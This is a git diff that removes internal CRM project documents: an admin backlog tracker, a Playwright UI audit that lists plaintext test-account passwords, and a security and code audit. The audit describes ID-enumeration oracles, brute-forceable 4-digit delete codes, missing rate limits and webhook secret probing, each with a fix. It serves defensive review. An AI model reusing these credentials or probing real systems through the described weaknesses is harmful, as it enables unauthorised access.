9. **Update `alpha-uat-master.md`** Bucket 3 #10 → SHIPPED with this proposal's commit hash. (~5 min)
|
||||
|
||||
Total: ~3.5-4 h.
|
||||
@@ -1,196 +0,0 @@
|
||||
# Admin / settings UX backlog — STATUS
|
||||
|
||||
Living tracker for the admin/UX backlog. Items are marked DONE or
|
||||
REMAINING based on what landed in the autonomous-push session.
|
||||
|
||||
---
|
||||
|
||||
## DONE in the autonomous push
|
||||
|
||||
### Foundations
|
||||
|
||||
- **Currency API verified end-to-end**. `scripts/test-currency-api.ts`
|
||||
fetches live Frankfurter rates → upserts → reads back → converts.
|
||||
Inverse-rate drift confirmed at ≤0.001.
|
||||
- **Storage abstraction audit complete**. Every byte path
|
||||
(signed EOIs, contracts, brochures, berth PDFs, files, avatars,
|
||||
branding logos) goes through `getStorageBackend()`. `/api/ready`
|
||||
and the system-monitoring health probe now check the active
|
||||
backend (S3 or filesystem) instead of always probing MinIO.
|
||||
|
||||
### User settings
|
||||
|
||||
- Country + Timezone selectors with cross-defaulting + auto-detect
|
||||
banner ("Looks like you're in Europe/Paris — Update?")
|
||||
- Email change with verification flow (`user_email_changes` table,
|
||||
`/api/v1/me/email/confirm/<token>`, `/api/v1/me/email/cancel/<token>`)
|
||||
- Password reset triggered via better-auth `requestPasswordReset`
|
||||
- Profile photo upload + crop (square 256×256) via shared
|
||||
`<ImageCropperDialog>` + `/api/v1/me/avatar`
|
||||
|
||||
### Branding
|
||||
|
||||
- Logo upload + crop modal in admin/branding (uses the same shared
|
||||
cropper, persists via `/api/v1/admin/settings/image` → storage backend)
|
||||
- Email header/footer HTML defaults injectable via "Insert default" button
|
||||
- Brand colour picker, app-name field, logo URL all in one card
|
||||
|
||||
### Storage admin
|
||||
|
||||
- New layout: S3 config form FIRST, swap action SECOND
|
||||
- Test connection button before any switch
|
||||
- Two-button switch: "Switch + migrate" vs "Switch only" with warning modal
|
||||
- `runMigration()` honours `skipMigration` flag
|
||||
|
||||
### Backup management
|
||||
|
||||
- Real `/admin/backup` page driven by new `backup_jobs` table
|
||||
- `runBackup()` service spawns `pg_dump --format=custom`, streams to
|
||||
active storage backend, records size + path
|
||||
- Download button presigns the .dump for offline restore
|
||||
- Super-admin gated
|
||||
|
||||
### AI admin panel
|
||||
|
||||
- Dedicated `/admin/ai` page consolidating master switch +
|
||||
monthly token cap + provider credentials
|
||||
- Per-feature settings (OCR, berth-PDF parser, recommender)
|
||||
linked from the same page
|
||||
|
||||
### Onboarding
|
||||
|
||||
- Real `/admin/onboarding` page with auto-checked steps
|
||||
- Reads each setting key + lists endpoint (roles / users / tags) to
|
||||
decide completion
|
||||
- Manual checkboxes for steps without an auto-detect signal
|
||||
- Progress bar + "Mark done"/"Mark incomplete" buttons
|
||||
- State persisted in `system_settings.onboarding_manual_status`
|
||||
|
||||
### Residential parity (full)
|
||||
|
||||
- New `residential_client_notes` + `residential_interest_notes`
|
||||
tables (mirror marina-side shape)
|
||||
- Polymorphic `notes.service.ts` extended with two new entity types
|
||||
through verifyParent + listForEntity + create + update + delete
|
||||
- New `<NotesList>` accepts `residential_clients` /
|
||||
`residential_interests` entity types
|
||||
- Activity endpoints: `/api/v1/residential/clients/[id]/activity` +
|
||||
`/api/v1/residential/interests/[id]/activity`
|
||||
- Notes endpoints: 4 new routes covering GET/POST/PATCH/DELETE
|
||||
- `residential-client-tabs.tsx` + `residential-interest-tabs.tsx`
|
||||
built using the marina-side `DetailLayout` pattern (Overview +
|
||||
Notes + Activity tabs, Interests tab on the client)
|
||||
- Detail header components mirror the marina-side strip
|
||||
- `useBreadcrumbHint` wired into both detail components
|
||||
|
||||
### Residential pipeline stages — configurable
|
||||
|
||||
- New `residential-stages.service.ts` with list/save + orphan-check
|
||||
- `/api/v1/residential/stages` GET/PUT
|
||||
- `/admin/residential-stages` admin UI with reassign-on-remove
|
||||
modal (select new stage per affected interest before save)
|
||||
- Validators relaxed from `z.enum(...)` to `z.string()` so any
|
||||
admin-defined stage id round-trips
|
||||
|
||||
### Documenso Phase 1 (EOI generate flow polish)
|
||||
|
||||
- Schema migrations applied:
|
||||
`document_signers.invited_at / opened_at / last_reminder_sent_at / signing_token`,
|
||||
`documents.completion_cc_emails / auto_reminder_interval_days`
|
||||
- `transformSigningUrl()` now maps SignerRole → URL segment correctly
|
||||
(approver→cc, witness→witness) so emails don't land on `/sign/error`
|
||||
- New `POST /api/v1/documents/[id]/send-invitation` endpoint with
|
||||
next-pending-signer auto-pick
|
||||
- Per-port settings added: `documenso_developer_label`,
|
||||
`documenso_approver_label`, `documenso_developer_user_id`,
|
||||
`documenso_approver_user_id` (Phase 7 RBAC binding fields)
|
||||
|
||||
### Misc UI/UX
|
||||
|
||||
- Sidebar collapse removed (always expanded)
|
||||
- Audit log filter inputs sized + dates widened
|
||||
- Custom Settings section got a long-form description
|
||||
- Reminder digest timezone uses `TimezoneCombobox`
|
||||
- Port form: currency dropdown + timezone combobox + brand color
|
||||
- Permissions count badge opens a modal with granted/denied
|
||||
- Role names display-normalized via `prettifyRoleName`
|
||||
- Sales email config: token list + tooltips on threshold + body fields
|
||||
- Custom Fields page: amber heads-up about non-integration with
|
||||
search / recommender / audit / merge tokens
|
||||
- Tag form: native `<input type="color">`
|
||||
- FilterBar Select crash fixed (no empty-string item values)
|
||||
|
||||
---
|
||||
|
||||
## REMAINING — large pieces that didn't fit this push
|
||||
|
||||
### 1. Documenso Phase 2 — Webhook handler enhancement (~3-4 hours)
|
||||
|
||||
Cascading "your turn" emails when each signer completes; on-completion
|
||||
PDF distribution; token-based recipient matching; idempotency lock.
|
||||
File to extend: `src/app/api/webhooks/documenso/route.ts`. The
|
||||
schema columns are already in place (Phase 1).
|
||||
|
||||
### 2. Documenso Phase 3 — Custom doc upload-to-Documenso (~6-8 hours)
|
||||
|
||||
Backend service `custom-document-upload.service.ts` + endpoint
|
||||
`POST /api/v1/interests/[id]/upload-for-signing`. Accepts a PDF +
|
||||
recipient list + field-placement JSON, calls `createDocument` →
|
||||
`placeFields` → `sendDocument` on the per-port Documenso client.
|
||||
Persists a row in `documents` table.
|
||||
|
||||
### 3. Documenso Phase 4 — Field placement UI (~10-14 hours)
|
||||
|
||||
The biggest piece. Needs:
|
||||
|
||||
- 4a: Recipient configurator dialog (~2-3h)
|
||||
- 4b: PDF rendering with `react-pdf` (~3-4h)
|
||||
- 4c: Auto-detect anchor scanner via `pdfjs-dist.getTextContent` (~4-6h)
|
||||
- 4d: Drag-drop overlay using `dnd-kit` (~3-4h)
|
||||
- 4e: Send button → calls Phase 3 endpoint (~1h)
|
||||
|
||||
Plan locked in `docs/documenso-build-plan.md` Phase 4 — the
|
||||
field-detector regexes, the anchor patterns, and the type-to-bbox
|
||||
sizing table are all spelled out.
|
||||
|
||||
### 4. Documenso Phase 5 — Embedded signing URL emission verification (~1-2 hours)
|
||||
|
||||
Verify the website's `/sign/<type>/<token>` page handles every signer
|
||||
role + every documentType combination. Update website's
|
||||
`signerMessages` map keyed on `(documentType, role)`. Apply the
|
||||
nginx CORS block from `docs/documenso-integration-audit.md`.
|
||||
|
||||
### 5. Documenso Phase 6 — Polish items (deferred)
|
||||
|
||||
Auto-send delay, audit-log additions, per-document customisation,
|
||||
document expiration, reminder rate-limit display, failed-webhook
|
||||
recovery UI. Each ~2-3 hours; all deferred until Phases 1-4 ship.
|
||||
|
||||
### 6. Project Director — UI binding for the developer-user fields
|
||||
|
||||
Schema + setting keys are now in place
|
||||
(`documenso_developer_user_id`, `documenso_approver_user_id` +
|
||||
`documenso_developer_label` / `_approver_label`). The remaining
|
||||
work is: add a "Linked to CRM user" dropdown in
|
||||
`/admin/documenso/page.tsx` that lists port users; when bound,
|
||||
auto-fill name/email from the user profile and mark name/email
|
||||
fields read-only. Webhook handler can then match against the
|
||||
linked user's email for in-CRM signing-status updates.
|
||||
|
||||
### 7. Custom-fields hardening (~ongoing)
|
||||
|
||||
Remediation paths for the heads-up banner concerns:
|
||||
|
||||
- **Search index**: extend the GIN tsvector to include
|
||||
customFieldValues content
|
||||
- **Audit diff**: extend `diffEntity` to walk the
|
||||
customFieldValues blob
|
||||
- **Merge tokens**: add `{{custom.<fieldName>}}` handling at
|
||||
template-render time, plus surface them in the merge-tokens UI
|
||||
|
||||
### 8. Documenso v2 webhook payload audit (small)
|
||||
|
||||
Risk #4 from `docs/documenso-build-plan.md` — confirm v2 payload
|
||||
shape (`payload.documentId` vs `payload.id`, recipient.token vs
|
||||
`recipient.recipientId`) against a live v2 instance before relying
|
||||
on Phase 2 cascading emails.
|
||||
@@ -1,117 +0,0 @@
|
||||
# Comprehensive Playwright Audit — 2026-05-15
|
||||
|
||||
Scope: full coverage of admin, sales-rep, viewer, portal, catch-up wizard, single-tree responsive shell, plus spot-checks on yacht / interest / berth detail surfaces.
|
||||
|
||||
## Setup
|
||||
|
||||
- Dev server: localhost:3000 (running)
|
||||
- Users:
|
||||
- super_admin: `admin@portnimara.test` / `SuperAdmin12345!`
|
||||
- sales_agent: `agent@portnimara.test` / `SalesAgent12345!`
|
||||
- viewer: `viewer@portnimara.test` / `ViewerUser12345!`
|
||||
- Port slug: `port-nimara`
|
||||
|
||||
## Verified working (positive findings)
|
||||
|
||||
- ✅ super-admin login + dashboard renders, all 34 admin pages return 200
|
||||
- ✅ Recent commits' workflow features:
|
||||
- F22 AlertTriangle icon on override-required stages
|
||||
- F23 inline yacht-prereq picker fires when leaving Enquiry without a yacht (confirmed end-to-end: "A yacht must be linked before leaving Enquiry. Pick one below to move to Qualified.")
|
||||
- F25 documents-hub folder selection persists in `?folder=root` querystring
|
||||
- F44 OwnerPicker has Client/Company tabs visible in popover (just hidden by Select trigger summary)
|
||||
- ✅ **#67 catch-up workflow end-to-end**: manually flipped berth A2 → reconciliation queue picked it up → wizard quick-created client + interest + cleared override + reason stamped "Reconciled via interest <id>" + redirected to interest detail
|
||||
- ✅ **#26 single-tree shell**: at viewport 390px only mobile shell mounts (1 nav, no desktop sidebar); at 1440px only desktop shell mounts; clean swap on resize
|
||||
- ✅ Permission gating: viewer + sales-agent get no "New Client"/admin nav; viewer POST to /clients returns 403
|
||||
- ✅ Audit log captures all writes (tag create, berth update, interest create, client create) including the reconcile event with `reconciledInterestId` metadata
|
||||
|
||||
## Findings
|
||||
|
||||
### A1 — Dashboard Recent Activity surfaces raw `permission_denied` rows with no label
|
||||
|
||||
- `/api/v1/dashboard/activity` returns entries with `action: "permission_denied"` and `label: null`. The activity feed renders just the action badge with nothing beside it. From earlier audits, 6 of these are stacked at the top of the dashboard for the super-admin.
|
||||
- Fix options: filter `permission_denied` out of the feed, OR map them to readable copy ("Permission denied: tried to view audit log (denied)") using `metadata.attemptedAction`.
|
||||
- Effort: XS.
|
||||
|
||||
### A2 — Activity feed renders legacy 9-stage enum values
|
||||
|
||||
- `pipelineStage: "deposit_10pct"` and `"contract_sent"` still appear in `oldValue` / `newValue` for historical rows. These should map to the 7-stage labels at render time so the feed reads as `Eoi → Deposit Paid` not `eoi_signed → deposit_10pct`.
|
||||
- The mapping table lives in seed-synthetic-data.ts (`details_sent→enquiry` etc.) — pull it into a shared `LEGACY_STAGE_REMAP` helper for activity-feed read paths.
|
||||
- Effort: S.
|
||||
|
||||
### A16 — File upload to documents hub root fails with validation error
|
||||
|
||||
- Repro: open `/documents`, click "Upload file", drop any file in. POST to `/api/v1/files/upload` returns 400 with field errors on `clientId`, `yachtId`, `companyId`, `category`, `entityType`, `entityId` — all "expected string, received null".
|
||||
- Root cause: the client sends `null` for unset optional fields; the validator expects them either absent or strings. Mismatch.
|
||||
- Fix: either make the zod schema accept `.nullable()` on those fields OR strip nulls in `FileUploadZone` / `FolderDropZone` before POST.
|
||||
- Effort: XS.
|
||||
|
||||
### A17 — `/api/v1/admin/ports` requires X-Port-Id but is the bootstrap port-resolver
|
||||
|
||||
- Symptom: as sales-agent, every page load fires a 400 to `/api/v1/admin/ports` ("Port context required"). Repeats on every apiFetch call because `apiFetch` calls this endpoint to resolve port-slug→port-id.
|
||||
- Bigger problem: the endpoint is gated to super-admin (`requireSuperAdmin`). Sales-reps and viewers will NEVER get a ports list from this endpoint, so the bootstrap path always falls through to the Zustand store. The 400 noise is wasted work + log spam.
|
||||
- Fix: add a `/api/v1/me/ports` endpoint that returns the caller's accessible ports without the super-admin gate, and have `client.ts` use it. OR seed the PortProvider context into a `__INITIAL_PORTS__` window global on first paint and skip the fetch entirely.
|
||||
- Effort: S.
|
||||
|
||||
### A18 — `/api/v1/users` returns 404 vs `/api/v1/admin/audit` returns 403 (inconsistent perm denials)
|
||||
|
||||
- Both endpoints reject sales-agent access but use different status codes. Pick one — either always 404 (hide existence) or always 403 (acknowledge but deny). The 403/404 split is the kind of inconsistency a pentester probes to map permissions.
|
||||
- Effort: XS sweep.
|
||||
|
||||
### A4 — F19 empty-contact filter never runs because zod-validation rejects first
|
||||
|
||||
- Repro: open New Client dialog, fill Full Name + one valid email, click "Add Contact" to insert an empty row, click Create Client. Nothing happens (no toast, no submit, no POST in network).
|
||||
- Root cause: my F19 fix put the empty-row prune in the **mutationFn**, but `handleSubmit(zodResolver)` validates the form FIRST. The empty contact's `value: z.string().min(1)` fails silently — handleSubmit short-circuits without surfacing an error on the empty row (the field has no `errors.contacts[1].value` rendered because the schema-level message attaches to the array path).
|
||||
- Fix: prune empty contact rows in a custom onSubmit wrapper BEFORE handleSubmit/zod sees them, OR change the field-array schema to allow empty rows and let the mutationFn prune.
|
||||
- Effort: XS.
|
||||
|
||||
### A19_b — Portal `/portal/login` shows "Client portal unavailable"
|
||||
|
||||
- The portal is gated by a per-port `client_portal_enabled` system setting. The route layout renders a friendly message but no admin path is obvious to a fresh-eyes operator.
|
||||
- Two distinct problems:
|
||||
- **Discoverability**: the admin landing card for "System Settings" doesn't surface a "Enable client portal" toggle prominently. A new operator would have to know the setting key.
|
||||
- **Portal scope**: the portal currently only has activation + reset password + sign-in surfaces. Once the rep logs the client in, they land on... what? Worth a separate scoping session to flesh out: their interests, their documents, their signing queue, payment history, message thread.
|
||||
- Recommendation: spec a "Phase 0 portal MVP" (read-only views of own interests + documents + signed-PDF download) before promoting it to clients. Treat the rest as v1.3 backlog.
|
||||
- Effort: portal MVP S-M depending on scope.
|
||||
|
||||
### A3 — Dev-only CSP error spam from react-grab
|
||||
|
||||
- `react-grab` dev script tries to load `fonts.googleapis.com/css2?family=Geist` and triggers a CSP block on every page load (2 console errors). Cosmetic since react-grab isn't loaded in prod, but the dev console gets noisy.
|
||||
- Fix: either drop the react-grab include or extend dev CSP `style-src` to allow `https://fonts.googleapis.com`.
|
||||
- Effort: XS.
|
||||
|
||||
### A5 — Socket.IO WebSocket repeatedly fails to connect in dev
|
||||
|
||||
- Console floods with "WebSocket is closed before the connection is established" — at least 6 occurrences per page in this session. Socket-io server endpoint at /socket.io/ isn't reachable from the Next dev server.
|
||||
- Likely root cause: Socket.IO server runs as a sidecar in compose but `pnpm dev` only starts Next, so the realtime channel is permanently broken in dev. Realtime invalidation features (interest/folder updates) silently never fire.
|
||||
- Fix: either start the socket server alongside `pnpm dev` (concurrently script), gate the SocketProvider behind a feature flag in dev, or stub the client to no-op when the endpoint 404s the first handshake.
|
||||
- Effort: S.
|
||||
|
||||
### A6 — Some DialogContent missing aria-describedby
|
||||
|
||||
- React warnings: `Missing 'Description' or 'aria-describedby={undefined}' for {DialogContent}`. At least one Dialog opens without a DialogDescription.
|
||||
- Fix: audit Dialog usages and either add a DialogDescription or pass `aria-describedby={undefined}` explicitly where genuinely no description is needed.
|
||||
- Effort: S.
|
||||
|
||||
### A8 — Legacy `statusOverrideMode = "auto"` values still in seed data
|
||||
|
||||
- Berth A1 (and likely others) has `statusOverrideMode: "auto"` from the NocoDB legacy import. The new code writes 'manual' | 'automated' | null; 'auto' is unrecognized.
|
||||
- Treated as "not manual" by the reconcile-queue filter so it's benign today, but the column should be normalized — either migrate legacy 'auto' → null in a migration, or treat 'auto' explicitly in the read paths.
|
||||
- Effort: XS.
|
||||
|
||||
### A9 — Catch-up wizard pipeline stage default doesn't match berth status
|
||||
|
||||
- Open the wizard on a berth where status=under_offer; the stage picker defaults to "New Enquiry" instead of "EOI" (the most common manual-flip case).
|
||||
- Root cause in `catch-up-wizard.tsx`: the default-stage logic only fires when the initial state isn't in the allowed set; 'enquiry' IS in the allowed set for under_offer, so it stays. Should default to EOI on first open via a `useEffect` keyed on `berth?.data.status`.
|
||||
- Effort: XS.
|
||||
|
||||
### A19 — F27 same-stage write still returns 200 + body instead of 204
|
||||
|
||||
- Spec said "same-stage write → 204 No Content (no-op)". The service early-returns `existing` correctly (no audit log emitted), but the route handler wraps it in `{ data: existing }` and returns 200.
|
||||
- Fix: have the service return a discriminated result like `{ kind: 'no-op' } | { kind: 'updated', interest }`, and the route handler returns 204 for the no-op branch.
|
||||
- Effort: XS (route handler tweak).
|
||||
|
||||
### A20 — F44 OwnerPicker — toggle hidden until popover opens (minor UX)
|
||||
|
||||
- The yacht-create form shows just "Select owner..." with no visible indication that it supports both clients AND companies. The Client/Company toggle pills only appear once the popover is open.
|
||||
- Fix option: surface "Owned by: Client | Company" as a segmented control above the picker, OR add a hint chip "Client/Company" next to the label.
|
||||
- Effort: XS.
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,753 +0,0 @@
|
||||
# Comprehensive Audit — 2026-05-06
|
||||
|
||||
Conducted directly after the smart-archive / hard-delete / bulk-wizard /
|
||||
audit-overhaul / synthetic-seed batches landed (commits `d07f1ed`
|
||||
through `9890d06`). Prior comprehensive audit:
|
||||
`docs/audit-comprehensive-2026-05-05.md`.
|
||||
|
||||
Findings are sorted by severity. Each has a concrete file:line, a
|
||||
scenario, and a fix recommendation.
|
||||
|
||||
---
|
||||
|
||||
## CRITICAL
|
||||
|
||||
### C1. 5 of 10 BullMQ workers are never imported (production + dev)
|
||||
|
||||
**Files:** `src/worker.ts:13-17`, `src/server.ts:72-76`
|
||||
|
||||
`src/worker.ts` (production) and `src/server.ts` (dev fallback) both
|
||||
import only:
|
||||
|
||||
- `emailWorker`
|
||||
- `documentsWorker`
|
||||
- `notificationsWorker`
|
||||
- `importWorker`
|
||||
- `exportWorker`
|
||||
|
||||
**Missing:** `aiWorker`, `bulkWorker`, `maintenanceWorker`, `reportsWorker`, `webhooksWorker`.
|
||||
|
||||
Because BullMQ workers are constructed at the top of each worker
|
||||
module and only "start" when the module is imported, never importing
|
||||
them means:
|
||||
|
||||
- **Webhooks never deliver.** `webhooksWorker` is what processes the
|
||||
`webhooks` queue; the admin "Replay" button we just shipped enqueues
|
||||
jobs that pile up in `pending` forever.
|
||||
- **All maintenance crons silently no-op.** `maintenanceWorker` handles
|
||||
`database-backup`, `backup-cleanup`, `session-cleanup`,
|
||||
`currency-refresh`, `gdpr-export-cleanup`, `ai-usage-retention`,
|
||||
`error-events-retention`, `website-submissions-retention`,
|
||||
`alerts-evaluate`, `analytics-refresh`, `calendar-sync`,
|
||||
`temp-file-cleanup`, `form-expiry-check` — none run.
|
||||
- **Scheduled reports never generate.** `reportsWorker` handles
|
||||
`report-scheduler` (every minute).
|
||||
- **Bulk jobs never process** (the synchronous bulk endpoints work, but
|
||||
any deferred-bulk path is dead).
|
||||
- **AI usage features never run.**
|
||||
|
||||
**Impact:** Production CRM has been silently shedding webhook
|
||||
deliveries, never running retention/cleanup, never sending scheduled
|
||||
reports.
|
||||
|
||||
**Fix:**
|
||||
|
||||
```ts
|
||||
// Append to src/worker.ts AND the inline section of src/server.ts:
|
||||
import { aiWorker } from '@/lib/queue/workers/ai';
|
||||
import { bulkWorker } from '@/lib/queue/workers/bulk';
|
||||
import { maintenanceWorker } from '@/lib/queue/workers/maintenance';
|
||||
import { reportsWorker } from '@/lib/queue/workers/reports';
|
||||
import { webhooksWorker } from '@/lib/queue/workers/webhooks';
|
||||
|
||||
const workers = [
|
||||
emailWorker,
|
||||
documentsWorker,
|
||||
notificationsWorker,
|
||||
importWorker,
|
||||
exportWorker,
|
||||
aiWorker,
|
||||
bulkWorker,
|
||||
maintenanceWorker,
|
||||
reportsWorker,
|
||||
webhooksWorker,
|
||||
];
|
||||
```
|
||||
|
||||
After fix, run `pnpm dev` and watch `/admin/webhooks/{id}` deliveries
|
||||
go from `pending` → `success` to confirm.
|
||||
|
||||
---
|
||||
|
||||
## HIGH
|
||||
|
||||
### H1. Hard-delete request endpoints have zero rate limiting
|
||||
|
||||
**Files:**
|
||||
|
||||
- `src/app/api/v1/clients/[id]/hard-delete-request/route.ts:1-37`
|
||||
- `src/app/api/v1/clients/bulk-hard-delete-request/route.ts:1-32`
|
||||
|
||||
Each call writes a fresh code to Redis and emails it to the operator's
|
||||
address. No `withRateLimit(...)`. An attacker who has compromised an
|
||||
admin account (or even just the new `permanently_delete_clients`
|
||||
permission) can:
|
||||
|
||||
1. Email-bomb the admin's own inbox (every request → email).
|
||||
2. Probe whether arbitrary client IDs exist (200 + `sentToMaskedEmail`
|
||||
vs 404 `client not found` is a UID oracle).
|
||||
3. Burn SMTP quota.
|
||||
|
||||
**Fix:** add `withRateLimit('auth', ...)` or a new dedicated bucket
|
||||
(e.g. 5 per hour per user). Pattern is already in
|
||||
`src/app/api/v1/clients/[id]/gdpr-export/route.ts`.
|
||||
|
||||
### H2. Audit-page view fires on every paginated reload (log spam)
|
||||
|
||||
**File:** `src/app/api/v1/admin/audit/route.ts:48-72`
|
||||
|
||||
I added a "watch the watchers" `view` audit row for first-page audit
|
||||
fetches. That's the right idea, but the page also re-fires the request
|
||||
on every filter change (severity, source, action, date range, search).
|
||||
A diligent admin filtering through the inspector for an investigation
|
||||
will write dozens of `view` audit rows per minute — making it harder to
|
||||
find the actual events they're looking for.
|
||||
|
||||
**Fix:** dedupe in Redis with a 60-second per-user TTL key, only emit
|
||||
if the key didn't exist. Or only fire when no filters are active.
|
||||
|
||||
### H3. Hard-delete error messages distinguish "no code" vs "wrong code"
|
||||
|
||||
**File:** `src/lib/services/client-hard-delete.service.ts:166-174`
|
||||
|
||||
```ts
|
||||
if (!stored) throw new ValidationError('Confirmation code expired or not requested');
|
||||
if (!safeEqualStr(stored, args.code.trim())) {
|
||||
throw new ValidationError('Confirmation code is incorrect');
|
||||
}
|
||||
```
|
||||
|
||||
The two messages let an attacker distinguish "you've never requested a
|
||||
code" (so spam the request endpoint to open the window) from "wrong
|
||||
code" (so brute-force more codes). 4-digit space is only 10,000 — with
|
||||
distinguishable feedback an attacker can confirm code validity in
|
||||
≤5,000 attempts on average.
|
||||
|
||||
**Fix:** collapse to a single `'Invalid or expired code'` message; the
|
||||
operator already has the email open and knows what they typed.
|
||||
|
||||
### H4. Synthetic seed leaves `super_admin` linked-port-roles empty
|
||||
|
||||
**File:** `src/lib/db/seed-bootstrap.ts:147-160`
|
||||
|
||||
The bootstrap creates the `userProfiles` row with
|
||||
`isSuperAdmin: true` for `super-admin-matt-portnimara`, but doesn't
|
||||
create `userPortRoles` rows. The actual real `user` rows (admin@,
|
||||
agent@, viewer@) are only created via the Playwright global-setup.
|
||||
Anyone running `pnpm db:seed:synthetic` then `pnpm dev` and trying to
|
||||
log in via the UI hits an unauthenticated state until they also run
|
||||
playwright setup or sign up via better-auth manually.
|
||||
|
||||
**Fix:** either document this in `CLAUDE.md` Quick Reference, or add a
|
||||
`pnpm db:seed:dev-users` companion script that signs up the three
|
||||
test users + links roles. Today's synthetic-seed flow felt clean
|
||||
because the playwright setup was still applied; in a fresh clone it
|
||||
will surprise.
|
||||
|
||||
### H5. Documenso bad-secret 200 response is correct, but enables enum oracle
|
||||
|
||||
**File:** `src/app/api/webhooks/documenso/route.ts:67-86`
|
||||
|
||||
The route returns `200 ok=false error=Invalid secret` for a wrong
|
||||
secret. That's webhook best-practice (don't leak signal to attackers),
|
||||
but combined with the new audit row that captures
|
||||
`metadata.providedLen`, an attacker can probe secret-length over time
|
||||
without being detected (just a "warning" row per attempt). On an admin
|
||||
inspector with 1000s of rows, a slow-rate probe is invisible.
|
||||
|
||||
**Fix:** add per-IP rate limit (5/min) to `/api/webhooks/documenso/`
|
||||
when secret check fails. Don't block real Documenso traffic — it
|
||||
shouldn't fail the secret check.
|
||||
|
||||
### H6. The audit-log inspector page itself isn't backed by a real "view" gate beyond `admin.view_audit_log`
|
||||
|
||||
**File:** `src/app/api/v1/admin/audit/route.ts:31`
|
||||
|
||||
Audit log has the most sensitive cross-cutting data in the system
|
||||
(every login attempt with attempted email, every secret-regenerate,
|
||||
every hard-delete). It's gated only by `admin.view_audit_log`. The
|
||||
seed grants this to `director` AND `super_admin`. Consider:
|
||||
|
||||
- making the page super-admin-only for production, OR
|
||||
- adding a secondary confirmation when viewing rows that contain
|
||||
attempted emails / IP ranges (PII).
|
||||
|
||||
**Fix:** change `withPermission('admin', 'view_audit_log', ...)` to
|
||||
add `if (!ctx.isSuperAdmin) check sensitive_audit_view`. Or accept
|
||||
the current model but document it in the role docs.
|
||||
|
||||
### H7. Three "coming soon" stubs in production UI
|
||||
|
||||
**Files:**
|
||||
|
||||
- `src/components/clients/client-tabs.tsx:276` — "File attachments coming soon."
|
||||
- `src/components/clients/client-reservations-tab.tsx:41` — "History is coming soon."
|
||||
- `src/components/berths/berth-tabs.tsx:327` — "{label} coming soon"
|
||||
|
||||
Visible to every user on every client / berth detail page. Either ship
|
||||
the feature or hide the tab.
|
||||
|
||||
**Fix:** for `client-tabs.tsx` line 276 (Files), the `files` table
|
||||
already exists and supports clientId — ship a list view.
|
||||
For `berth-tabs.tsx` line 327 — find the calling tab labels and
|
||||
either implement or remove from the tabs array.
|
||||
For `client-reservations-tab.tsx` line 41 — query past reservations
|
||||
when the user toggles a "show history" filter.
|
||||
|
||||
---
|
||||
|
||||
## MEDIUM
|
||||
|
||||
### M1. `attachWorkerAudit` recurring job names list duplicates scheduler.ts (drift risk)
|
||||
|
||||
**File:** `src/lib/queue/audit-helpers.ts:23-46`
|
||||
|
||||
The 20 recurring job names are hardcoded in the audit helper; the
|
||||
scheduler also has its own list. If someone adds a new cron without
|
||||
updating both, the cron_run audit row never fires for that job.
|
||||
|
||||
**Fix:** export the list from `scheduler.ts` and import it in
|
||||
`audit-helpers.ts`. Single source of truth.
|
||||
|
||||
### M2. `client-merge-log.surviving_client_id` deleted by hard-delete (history loss)
|
||||
|
||||
**File:** `src/lib/services/client-hard-delete.service.ts:200-202`
|
||||
|
||||
Hard-delete drops every `client_merge_log` row whose surviving id
|
||||
matches. Those rows are the audit trail of WHO was merged INTO this
|
||||
client. Once deleted, you've lost evidence of the prior merge.
|
||||
|
||||
**Fix:** replace `delete` with a column nullification, or move the row
|
||||
to a `client_merge_log_archive` table. Audit trail per GDPR Article 5
|
||||
should outlive the data.
|
||||
|
||||
### M3. Bulk hard-delete loops one-shot codes through Redis (5x writes)
|
||||
|
||||
**File:** `src/lib/services/client-hard-delete.service.ts:382-396`
|
||||
|
||||
For a 100-client bulk delete, the function writes 100 single-client
|
||||
codes to Redis just to satisfy `hardDeleteClient`'s expectation. Each
|
||||
write is a round-trip; on a Redis hiccup mid-loop, you can end up
|
||||
with a half-deleted batch.
|
||||
|
||||
**Fix:** refactor `hardDeleteClient` so the inner deletion can be called
|
||||
without the per-client code check (extract `_doHardDelete()` private
|
||||
helper used by both single and bulk paths). Keeps Redis clean.
|
||||
|
||||
### M4. Smart-restore wizard has dead reversal applier for `berth_released`
|
||||
|
||||
**File:** `src/lib/services/client-restore.service.ts:360-372`
|
||||
|
||||
The `applyReversal` switch case for `'berth_released'` does nothing —
|
||||
it just leaves the berth available. The wizard surfaces this as
|
||||
"auto-reversible" if the berth is still free, but the actual restore
|
||||
doesn't re-attach the berth to any interest. Operator clicks Restore
|
||||
expecting their berth back; nothing changes on the berth.
|
||||
|
||||
**Fix:** either (a) at archive time, persist the original interestId
|
||||
in the decision metadata so we can re-link, or (b) update the wizard
|
||||
copy to make clear the berth is "available for re-attach" rather than
|
||||
"will be re-attached."
|
||||
|
||||
### M5. Several services use `void createAuditLog(...)` without `.catch()`
|
||||
|
||||
**Files:** widespread; e.g. `src/lib/services/client-hard-delete.service.ts:127-136, 230-240`,
|
||||
`src/lib/services/portal-auth.service.ts:269-276`
|
||||
|
||||
`createAuditLog` is documented as never-throwing (catches internally),
|
||||
but defense-in-depth: a `void` Promise that throws produces an
|
||||
unhandled rejection event. Most paths are fine because the helper
|
||||
catches; if anyone refactors `createAuditLog` and removes the catch,
|
||||
this becomes a process-killer.
|
||||
|
||||
**Fix:** convention rule: every `void someAsync()` must have a `.catch()`.
|
||||
Codify with a custom ESLint rule, or wrap at call sites:
|
||||
`void createAuditLog({...}).catch(() => undefined);`
|
||||
|
||||
### M6. Hard-delete audit metadata leaks client `fullName`
|
||||
|
||||
**File:** `src/lib/services/client-hard-delete.service.ts:241-247`
|
||||
|
||||
After the hard-delete the audit row carries
|
||||
`metadata: { fullName: client.fullName }`. The client record itself is
|
||||
gone but their name lives on in the audit log. For a GDPR data subject
|
||||
who exercised their right-to-erasure, this is technically a retention
|
||||
of personal data in audit history. Not necessarily wrong (audit logs
|
||||
have a legitimate-interest basis), but should be conscious.
|
||||
|
||||
**Fix:** decide policy: either (a) keep as-is and document, (b) replace
|
||||
with a hash of the name, or (c) substitute a tombstone identifier.
|
||||
|
||||
### M7. Webhook delivery DLQ admin-replay can re-trigger downstream side-effects
|
||||
|
||||
**File:** `src/lib/services/webhooks.service.ts:282-326`
|
||||
|
||||
Replaying a successful webhook (operator presses Replay on a delivery
|
||||
that already had `status: 'success'`) re-fires the same payload to the
|
||||
recipient. If the recipient's idempotency check is weak, you've just
|
||||
caused a duplicate. The replay payload includes `retried_from` /
|
||||
`retried_at` markers, which is good — but most recipients won't honor
|
||||
them.
|
||||
|
||||
